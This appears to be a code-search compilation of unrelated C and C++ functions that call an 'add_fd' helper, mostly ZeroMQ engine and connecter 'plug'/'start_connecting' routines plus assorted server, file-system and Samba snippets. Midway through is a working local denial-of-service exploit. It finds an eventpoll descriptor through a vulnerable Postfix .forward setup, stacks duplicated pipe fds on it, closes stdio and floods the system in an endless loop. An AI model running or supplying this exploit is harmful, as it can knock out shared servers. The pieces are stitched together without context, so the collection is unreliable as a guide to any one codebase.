void zmq::pgm_sender_t::plug (i_inout *inout_)
{
// Alocate 2 fds for PGM socket.
int downlink_socket_fd = 0;
int uplink_socket_fd = 0;
int rdata_notify_fd = 0;
int pending_notify_fd = 0;
encoder.set_inout (inout_);
// Fill fds from PGM transport and add them to the poller.
pgm_socket.get_sender_fds (&downlink_socket_fd, &uplink_socket_fd,
&rdata_notify_fd, &pending_notify_fd);
handle = add_fd (downlink_socket_fd);
uplink_handle = add_fd (uplink_socket_fd);
rdata_notify_handle = add_fd (rdata_notify_fd);
pending_notify_handle = add_fd (pending_notify_fd);
// Set POLLIN. We wont never want to stop polling for uplink = we never
// want to stop porocess NAKs.
set_pollin (uplink_handle);
set_pollin (rdata_notify_handle);
set_pollin (pending_notify_handle);
// Set POLLOUT for downlink_socket_handle.
set_pollout (handle);
}
void zmq::pgm_sender_t::plug (io_thread_t *io_thread_, session_base_t *session_)
{
// Alocate 2 fds for PGM socket.
fd_t downlink_socket_fd = retired_fd;
fd_t uplink_socket_fd = retired_fd;
fd_t rdata_notify_fd = retired_fd;
fd_t pending_notify_fd = retired_fd;
encoder.set_msg_source (session_);
// Fill fds from PGM transport and add them to the poller.
pgm_socket.get_sender_fds (&downlink_socket_fd, &uplink_socket_fd,
&rdata_notify_fd, &pending_notify_fd);
handle = add_fd (downlink_socket_fd);
uplink_handle = add_fd (uplink_socket_fd);
rdata_notify_handle = add_fd (rdata_notify_fd);
pending_notify_handle = add_fd (pending_notify_fd);
// Set POLLIN. We wont never want to stop polling for uplink = we never
// want to stop porocess NAKs.
set_pollin (uplink_handle);
set_pollin (rdata_notify_handle);
set_pollin (pending_notify_handle);
// Set POLLOUT for downlink_socket_handle.
set_pollout (handle);
}
void zmq::socks_connecter_t::initiate_connect ()
{
// Open the connecting socket.
const int rc = connect_to_proxy ();
// Connect may succeed in synchronous manner.
if (rc == 0) {
handle = add_fd (s);
set_pollout (handle);
status = sending_greeting;
}
// Connection establishment may be delayed. Poll for its completion.
else
if (errno == EINPROGRESS) {
handle = add_fd (s);
set_pollout (handle);
status = waiting_for_proxy_connection;
socket->event_connect_delayed (endpoint, zmq_errno ());
}
// Handle any other error condition by eventual reconnect.
else {
if (s != retired_fd)
close ();
start_timer ();
}
}
void zmq::tcp_connecter_t::start_connecting ()
{
// Open the connecting socket.
int rc = open ();
// Connect may succeed in synchronous manner.
if (rc == 0) {
handle = add_fd (s);
handle_valid = true;
out_event ();
return;
}
// Connection establishment may be delayed. Poll for its completion.
else if (rc == -1 && errno == EINPROGRESS) {
handle = add_fd (s);
handle_valid = true;
set_pollout (handle);
session->monitor_event (ZMQ_EVENT_CONNECT_DELAYED, endpoint.c_str(), zmq_errno());
return;
}
// Handle any other error condition by eventual reconnect.
close ();
wait = true;
add_reconnect_timer();
}
void zmq::zmq_connecter_t::start_connecting ()
{
// Open the connecting socket.
int rc = tcp_connecter.open ();
// Connect may succeed in synchronous manner.
if (rc == 0) {
handle = add_fd (tcp_connecter.get_fd ());
handle_valid = true;
out_event ();
return;
}
// Connection establishment may be dealyed. Poll for its completion.
else if (rc == -1 && errno == EAGAIN) {
handle = add_fd (tcp_connecter.get_fd ());
handle_valid = true;
set_pollout (handle);
return;
}
// Handle any other error condition by eventual reconnect.
tcp_connecter.close ();
wait = true;
add_timer ();
}
void zmq::ipc_connecter_t::start_connecting ()
{
// Open the connecting socket.
int rc = open ();
// Connect may succeed in synchronous manner.
if (rc == 0) {
handle = add_fd (s);
handle_valid = true;
out_event ();
}
// Connection establishment may be delayed. Poll for its completion.
else
if (rc == -1 && errno == EINPROGRESS) {
handle = add_fd (s);
handle_valid = true;
set_pollout (handle);
socket->event_connect_delayed (endpoint, zmq_errno());
}
// Handle any other error condition by eventual reconnect.
else {
if (s != retired_fd)
close ();
add_reconnect_timer ();
}
}
void zmq::pgm_receiver_t::plug (i_inout *inout_)
{
// Retrieve PGM fds and start polling.
int socket_fd;
int waiting_pipe_fd;
pgm_socket.get_receiver_fds (&socket_fd, &waiting_pipe_fd);
socket_handle = add_fd (socket_fd);
pipe_handle = add_fd (waiting_pipe_fd);
set_pollin (pipe_handle);
set_pollin (socket_handle);
inout = inout_;
}
void zmq::pgm_receiver_t::plug (io_thread_t *io_thread_, i_inout *inout_)
{
// Retrieve PGM fds and start polling.
fd_t socket_fd = retired_fd;
fd_t waiting_pipe_fd = retired_fd;
pgm_socket.get_receiver_fds (&socket_fd, &waiting_pipe_fd);
socket_handle = add_fd (socket_fd);
pipe_handle = add_fd (waiting_pipe_fd);
set_pollin (pipe_handle);
set_pollin (socket_handle);
inout = inout_;
}
int main(int argc, char *argv[]) {
int fds[2];
char dir[32], c;
int i, found = 0;
pipe(fds);
sprintf(dir, "/proc/%d/fd", getpid());
printf("[*] Opening directory %s\n", dir);
DIR *fd_dir = opendir(dir);
struct dirent *de = readdir(fd_dir);
// We are looking for the eventpoll file descriptor
while (de != NULL) {
char link_d[256];
char link_f[256];
memset(link_d, 0, 256);
sprintf(link_f, "%s/%s", dir, de->d_name);
readlink(link_f, link_d, 256);
if ( strstr(link_d, "eventpoll") ) {
found = 1;
printf(" => %s points to %s\n", de->d_name, link_d);
add_fd(atoi(de->d_name), fds[0]);
// We can test with more than one triggered event at once
for (i = 0; i<FDOPEN; i++)
add_fd(atoi(de->d_name),dup(fds[0]));
}
de = readdir(fd_dir);
}
closedir(fd_dir);
if (found == 0) {
printf("[!] Are you sure that your postfix is vulnerable?\n");
printf("[!] Are you launching me throw a .forward file?\n");
exit(0);
}
printf("[*] Starting to flood the system!\n");
fflush(stdout);
close(0);
close(1);
close(2);
// This triggers the events
while (1) {
write(fds[1], "A",1);
read(fds[0],&c, 1);
}
return 0;
}
static struct file_info *file_new(struct dir_info *parent, const char *name)
{
struct file_info *file = NULL;
char *path;
mode_t mode;
int fd;
size_t sz;
CHECK(parent != NULL);
path = dir_path(parent, name);
mode = S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH;
fd = open(path, O_CREAT | O_EXCL | O_RDWR, mode);
if (fd == -1) {
CHECK(errno == ENOSPC);
free(path);
full = 1;
return NULL;
}
free(path);
sz = sizeof(struct file_info);
file = (struct file_info *) malloc(sz);
CHECK(file != NULL);
memset(file, 0, sz);
file->name = copy_string(name);
add_dir_entry(parent, 'f', name, file);
add_fd(file, fd);
return file;
}
int receive_clients(int fd)
{
t_fd fds;
int ret;
t_all all;
init_buffer(&(all.buf));
all.fds = &fds;
all.channel = NULL;
all.fds->fd_s = fd;
all.actual = NULL;
new_channel(&all, "toto");
new_channel(&all, "titi");
if ((add_fd(&all, SERVER_ID, fd, &serv_ptr)) == -1)
return (-1);
while (1)
{
all.fds->max_fd = set_fds(&all, &(all.fds->fd_read));
FD_ZERO(&(all.fds->fd_write));
if ((ret = select(all.fds->max_fd + 1, &(all.fds->fd_read),
&(all.fds->fd_write),
NULL, NULL)) == -1)
return (1);
check_fd(&all);
}
return (0);
}
void zmq::stream_engine_t::plug (io_thread_t *io_thread_,
session_base_t *session_)
{
zmq_assert (!plugged);
plugged = true;
// Connect to session object.
zmq_assert (!session);
zmq_assert (session_);
session = session_;
socket = session-> get_socket ();
// Connect to I/O threads poller object.
io_object_t::plug (io_thread_);
handle = add_fd (s);
io_enabled = true;
// Send the 'length' and 'flags' fields of the identity message.
// The 'length' field is encoded in the long format.
outpos = greeting_output_buffer;
outpos [outsize++] = 0xff;
put_uint64 (&outpos [outsize], options.identity_size + 1);
outsize += 8;
outpos [outsize++] = 0x7f;
set_pollin (handle);
set_pollout (handle);
// Flush all the data that may have been already received downstream.
in_event ();
}
void zmq::udp_engine_t::plug (io_thread_t* io_thread_, session_base_t *session_)
{
zmq_assert (!plugged);
plugged = true;
zmq_assert (!session);
zmq_assert (session_);
session = session_;
// Connect to I/O threads poller object.
io_object_t::plug (io_thread_);
handle = add_fd (fd);
if (send_enabled) {
if (!options.raw_socket) {
out_address = address->resolved.udp_addr->dest_addr ();
out_addrlen = address->resolved.udp_addr->dest_addrlen ();
}
else {
out_address = (sockaddr *) &raw_address;
out_addrlen = sizeof (sockaddr_in);
}
set_pollout (handle);
}
if (recv_enabled) {
int on = 1;
int rc = setsockopt (fd, SOL_SOCKET, SO_REUSEADDR, (char *) &on, sizeof (on));
#ifdef ZMQ_HAVE_WINDOWS
wsa_assert (rc != SOCKET_ERROR);
#else
errno_assert (rc == 0);
#endif
rc = bind (fd, address->resolved.udp_addr->bind_addr (),
address->resolved.udp_addr->bind_addrlen ());
#ifdef ZMQ_HAVE_WINDOWS
wsa_assert (rc != SOCKET_ERROR);
#else
errno_assert (rc == 0);
#endif
if (address->resolved.udp_addr->is_mcast ()) {
struct ip_mreq mreq;
mreq.imr_multiaddr = address->resolved.udp_addr->multicast_ip ();
mreq.imr_interface = address->resolved.udp_addr->interface_ip ();
rc = setsockopt (fd, IPPROTO_IP, IP_ADD_MEMBERSHIP, (char*) &mreq, sizeof (mreq));
#ifdef ZMQ_HAVE_WINDOWS
wsa_assert (rc != SOCKET_ERROR);
#else
errno_assert (rc == 0);
#endif
}
set_pollin (handle);
// Call restart output to drop all join/leave commands
restart_output ();
}
}
/***************************************************************************
* open_ui_port(): - Open the UI port for this application.
*
* Input: int ui_port
* char *ui_addr; the IP address to bind to
* Output: none
* Effects: select listen table
***************************************************************************/
void open_ui_port()
{
struct sockaddr_in srvskt;
int adrlen;
int flags;
adrlen = sizeof(struct sockaddr_in);
(void) memset((void *) &srvskt, 0, (size_t) adrlen);
srvskt.sin_family = AF_INET;
srvskt.sin_addr.s_addr = (UiaddrAny) ? htonl(INADDR_ANY) : htonl(INADDR_LOOPBACK);
srvskt.sin_port = htons(UiPort);
if ((srvfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
edlog(M_BADCONN, errno);
return;
}
flags = fcntl(srvfd, F_GETFL, 0);
flags |= O_NONBLOCK;
(void) fcntl(srvfd, F_SETFL, flags);
if (bind(srvfd, (struct sockaddr *) &srvskt, adrlen) < 0) {
edlog(M_BADCONN, errno);
return;
}
if (listen(srvfd, MX_UI - nui) < 0) {
edlog(M_BADCONN, errno);
return;
}
/* If we get to here, then we were able to open the UI socket. Tell the
* select loop about it. */
add_fd(srvfd, open_ui_conn, (void (*)()) NULL, (void *) 0);
}
int server_init(void)
{
int fd = -1;
signal(SIGPIPE, SIG_IGN);
signal(SIGTERM, cleanup_all);
FD_ZERO(&rfds);
sock_map_init();
/* initialize the rcp message handle */
init_msg_pack_handle();
init_msg_header();
init_cmd_process_handle();
fd = tcp_server_socket_create();
add_fd(TCP_SERVER, fd, NULL);
if(pow_init() < 0)
{
printf("pow init failed\n");
exit(1);
}
return 0;
}
int open_tap(struct netjig_state *ns,
struct nethub *nh,
char *dev)
{
struct ifreq ifr;
int fd, err;
if((fd = open("/dev/net/tun", O_RDWR)) < 0){
perror("Failed to open /dev/net/tun");
return(-1);
}
memset(&ifr, 0, sizeof(ifr));
ifr.ifr_flags = IFF_TAP | IFF_NO_PI;
strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name) - 1);
if(ioctl(fd, TUNSETIFF, (void *) &ifr) < 0){
perror("TUNSETIFF failed");
close(fd);
return(-1);
}
err = setup_sock_tap(ns, nh, fd, send_tap);
if(err) return(err);
add_fd(ns, fd);
return(fd);
}
void zmq::stream_engine_t::plug (io_thread_t *io_thread_,
session_base_t *session_)
{
zmq_assert (!plugged);
plugged = true;
// Connect to session object.
zmq_assert (!session);
zmq_assert (session_);
session = session_;
socket = session-> get_socket ();
// Connect to I/O threads poller object.
io_object_t::plug (io_thread_);
handle = add_fd (s);
io_error = false;
if (options.raw_socket) {
// no handshaking for raw sock, instantiate raw encoder and decoders
encoder = new (std::nothrow) raw_encoder_t (out_batch_size);
alloc_assert (encoder);
decoder = new (std::nothrow) raw_decoder_t (in_batch_size);
alloc_assert (decoder);
// disable handshaking for raw socket
handshaking = false;
next_msg = &stream_engine_t::pull_msg_from_session;
process_msg = &stream_engine_t::push_msg_to_session;
if (options.raw_notify) {
// For raw sockets, send an initial 0-length message to the
// application so that it knows a peer has connected.
msg_t connector;
connector.init();
push_msg_to_session (&connector);
connector.close();
session->flush ();
}
}
else {
// start optional timer, to prevent handshake hanging on no input
set_handshake_timer ();
// Send the 'length' and 'flags' fields of the identity message.
// The 'length' field is encoded in the long format.
outpos = greeting_send;
outpos [outsize++] = 0xff;
put_uint64 (&outpos [outsize], options.identity_size + 1);
outsize += 8;
outpos [outsize++] = 0x7f;
}
set_pollin (handle);
set_pollout (handle);
// Flush all the data that may have been already received downstream.
in_event ();
}
void zmq::pgm_receiver_t::plug (io_thread_t *io_thread_,
session_base_t *session_)
{
// Retrieve PGM fds and start polling.
fd_t socket_fd = retired_fd;
fd_t waiting_pipe_fd = retired_fd;
pgm_socket.get_receiver_fds (&socket_fd, &waiting_pipe_fd);
socket_handle = add_fd (socket_fd);
pipe_handle = add_fd (waiting_pipe_fd);
set_pollin (pipe_handle);
set_pollin (socket_handle);
session = session_;
// If there are any subscriptions already queued in the session, drop them.
drop_subscriptions ();
}
void add_fd_and_signal(int fd)
{
add_fd(fd);
signal_main_thread();
if (!firsttime) {
firsttime=1;
signal_main_thread();
}
}
bool QueryAgent::setup_local() {
if(socketpair(AF_UNIX, SOCK_STREAM, 0, loopback_)) {
return false;
}
add_fd(loopback_[0]);
sockets_.push_back(loopback_[0]);
return true;
}
void Poll_t::handle_accept()
{
if(client_[0].revents & POLLIN)
{
int peerfd = accept(listenfd_, NULL, NULL);
if(peerfd == -1)
{
ERR_EXIT("accept");
}
add_fd(peerfd);
}
}
void zmq::pgm_receiver_t::plug (i_inout *inout_)
{
// Allocate 2 fds one for socket second for waiting pipe.
int socket_fd;
int waiting_pipe_fd;
// Fill socket_fd and waiting_pipe_fd from PGM transport
pgm_socket.get_receiver_fds (&socket_fd, &waiting_pipe_fd);
// Add socket_fd into poller.
socket_handle = add_fd (socket_fd);
// Add waiting_pipe_fd into poller.
pipe_handle = add_fd (waiting_pipe_fd);
// Set POLLIN for both handlers.
set_pollin (pipe_handle);
set_pollin (socket_handle);
inout = inout_;
}
static struct fd_info *file_open(struct file_info *file)
{
int fd, flags = O_RDWR;
char *path;
path = dir_path(file->links->parent, file->links->name);
if (tests_random_no(100) == 1)
flags |= O_SYNC;
fd = open(path, flags);
CHECK(fd != -1);
free(path);
return add_fd(file, fd);
}
void zmq::udp_receiver_t::plug (io_thread_t *io_thread_,
session_base_t *session_)
{
// Start polling.
socket_handle = add_fd (socket);
set_pollin (socket_handle);
session = session_;
//decoder->set_session (session);
// If there are any subscriptions already queued in the session, drop them.
drop_subscriptions ();
}
int sys_open(const char *filename, int file_flag, mode_t mode){
bool create = false;
if(filename == NULL || !(valid_address_check(curproc->p_addrspace, (vaddr_t)filename))){ //bad memory reference
errno = EFAULT;
return -1;
}
if(file_flag > 94 || file_flag % 4 == 3 || file_flag & O_APPEND){
errno = EINVAL;
return -1;
}
/*
if(file_flag & O_APPEND){ //flags contained invalid values
errno = EINVAL;
return -1;
}*/
struct vnode* new_file;
int ret;
if (curproc->open_num < MAX_fd_table){ // fd table is available
ret = vfs_open((char *)filename, file_flag, mode , &new_file); // open file when table has free space
curproc->open_num++;
if (ret == 0){
if ((file_flag & O_CREAT) && (file_flag & O_EXCL)){
errno = EEXIST;
return -1;
}
}
else{
create = true;
if (file_flag & ~O_CREAT){
errno = ENOENT;
return -1;
}
}
}
else{ // if table is full
if (create) errno = ENOSPC;
else errno = EMFILE;
return -1;
}
int file_handle = 3; //file handle is the index at which the fd is located
while(curproc->fd_table[file_handle] != NULL) { //find empty slot in fd_table
file_handle++;
}
struct fd* f = create_fd(file_flag, filename, new_file);
add_fd(f,file_handle);
return file_handle; //index of the fd in the fd_fd_table
}
bool QueryAgent::bind(int port) {
if(server_fd_ > 0) return false;
server_fd_ = ::socket(AF_INET, SOCK_STREAM, 0);
if(server_fd_ == -1) {
std::cerr << "[QA: Unable to create socket: " << strerror(errno) << "]\n";
return false;
}
// To avoid TIME_WAIT / EADDRINUSE
int on = 1;
setsockopt(server_fd_, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on));
struct sockaddr_in sin = {0};
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_port = htons(port);
if(::bind(server_fd_, (struct sockaddr*)&sin, sizeof(sin)) == -1) {
std::cerr << "[QA: Unable to bind socket: " << strerror(errno) << "]\n";
return false;
}
if(port == 0) {
socklen_t len = sizeof(sin);
if(getsockname(server_fd_, (struct sockaddr*)&sin, &len) == -1) {
std::cerr << "[QA: Unable to resolve random local port]\n";
return false;
}
port_ = ntohs(sin.sin_port);
} else {
port_ = port;
}
if(::listen(server_fd_, cBackLog) == -1) {
std::cerr << "[QA: Unable to listen on socket: " << strerror(errno) << "]\n";
return false;
}
if(verbose_) {
std::cerr << "[QA: Bound to port " << ntohs(sin.sin_port) << "]\n";
}
add_fd(server_fd_);
make_discoverable();
return true;
}
void zmq::norm_engine_t::plug (io_thread_t* io_thread_, session_base_t *session_)
{
// TBD - we may assign the NORM engine to an io_thread in the future???
zmq_session = session_;
if (is_sender) zmq_output_ready = true;
if (is_receiver) zmq_input_ready = true;
fd_t normDescriptor = NormGetDescriptor(norm_instance);
norm_descriptor_handle = add_fd(normDescriptor);
// Set POLLIN for notification of pending NormEvents
set_pollin(norm_descriptor_handle);
if (is_sender) send_data();
} // end zmq::norm_engine_t::init()
int
smbc_opendir(const char *durl)
{
SMBCFILE * file;
int fd;
file = smbc_getFunctionOpendir(statcont)(statcont, durl);
if (!file)
return -1;
fd = add_fd(file);
if (fd == -1)
smbc_getFunctionClosedir(statcont)(statcont, file);
return fd;
}
void serv_ptr(t_all *all, UNUSED t_client *client)
{
struct sockaddr_in s_in_c;
socklen_t s_size;
int fd_c;
if ((fd_c = accept(all->fds->fd_s, (struct sockaddr *)(&s_in_c),
&(s_size))) == -1)
{
fprintf(stderr, "Accept failed\n");
close(all->fds->fd_s);
return ;
}
printf("New Client\n");
add_fd(all, CLIENT_ID, fd_c, &client_ptr);
}
void zmq::zmq_engine_t::plug (i_inout *inout_)
{
zmq_assert (!inout);
encoder.set_inout (inout_);
decoder.set_inout (inout_);
handle = add_fd (tcp_socket.get_fd ());
set_pollin (handle);
set_pollout (handle);
inout = inout_;
// Flush all the data that may have been already received downstream.
in_event ();
}